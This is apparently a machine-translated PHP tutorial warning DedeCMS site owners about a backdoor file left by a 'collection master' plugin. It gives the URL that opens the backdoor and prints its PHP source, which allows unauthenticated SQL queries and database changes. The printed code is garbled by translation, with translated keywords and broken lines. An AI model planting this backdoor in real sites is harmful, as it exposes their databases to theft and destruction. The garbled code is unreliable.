DEDE コレクションが残した公式バックドアを削除する方法 master_PHP チュートリアル

WBOY
リリース: 2016-07-21 15:32:10
オリジナル
1045 人が閲覧しました

公式バックドアを削除する方法: コレクション マスターをインストールした後、インクルード ディレクトリ内の dedesql.query.php ファイルをすぐに削除してください。ファイルの名前は arc.sqlquery.class.php に変更されている可能性があります。それを削除します。このファイルを使用すると、ログイン認証なしで Web サイトのデータベースにクエリを実行したり、データの更新、削除、クエリなどの操作を実行したりできます。私が言ったとおりであるかどうかを自分でテストすることもできます。方法は次のとおりです。
http://yourdomainname.com/include/dedesql.query.php?dopost=viewinfo
上記の URL を入力してバックドアを開きます。インターフェース。
正直に言うと、最善の方法は、意図的にバックドアを残すプログラムを使用しないことです。このバックドアは発見されましたが、次のいわゆる新しいバージョンでさらにバックドアが登場するかどうかは神のみぞ知るです。このバックドア ファイルのコードは次のとおりです:

コードをコピーします コードは次のとおりです:

require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功!";
}else{
echo "失败!";
}
終了();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "".trim($ctinfo)."";
}
終了();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = 新しい PartView();
$row = $pv->dsql->GetOne('Select * From `dede_homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\","/",$homeFile));
$fp = fopen($homeFile,'w') または die("無法更新网站主页到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "首页更新成功!";
終了();
}
else if($dopost=="クエリ")
{
$sqlquery = トリム(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "' 'データベース' または 'データベース' の句はここでは実行できません。";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute( );
if($dsql->GetTotalRow()<=0)
{
echo "SQL を実行: {$sqlquery}、レコードが返されませんでした! ";
}
else
{
echo "SQL を実行: {$sqlquery}、".$dsql->GetTotalRow()." レコードが返されます。返される最大数は 100 です。 ";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "< ;hr size=1 width='100%'/>";
echo "Record:$j";
echo "
";
foreach($row as $k=>$v)
{
echo "{$k}:{$v}
rn";
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("r","",$sqlquery); 0, }n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = トリム($q);
if($q== "" )
{
継続;
$dsql->ExecuteNoneQuery($q);
if($errCode=="")
{
$ i++
}
else
{
$nerrCode .= "実行: $q エラー、エラー メッセージ: " .$ errCode."
";
}
}
echo "{$i} SQL ステートメントが正常に実行されました。

";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = トリム($dsql->GetError());
echo "1 つの SQL ステートメントが正常に実行されました。

";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '


SQL命令行工具














SQL命令运行器: 数据备份
| 数据还原

































';}
?>

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/322870.html技術記事去除官方後门方法:安装好取集大师後,请立即删除 include目录下のdedesql.query.php文件,如已经安装过,可能文件已被arc.sqlquery.cl...
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!
系统的表信息:








 















返信情報:

运行SQL コマンド実行:

单行コマンド(サポート简单查询)

多行コマンド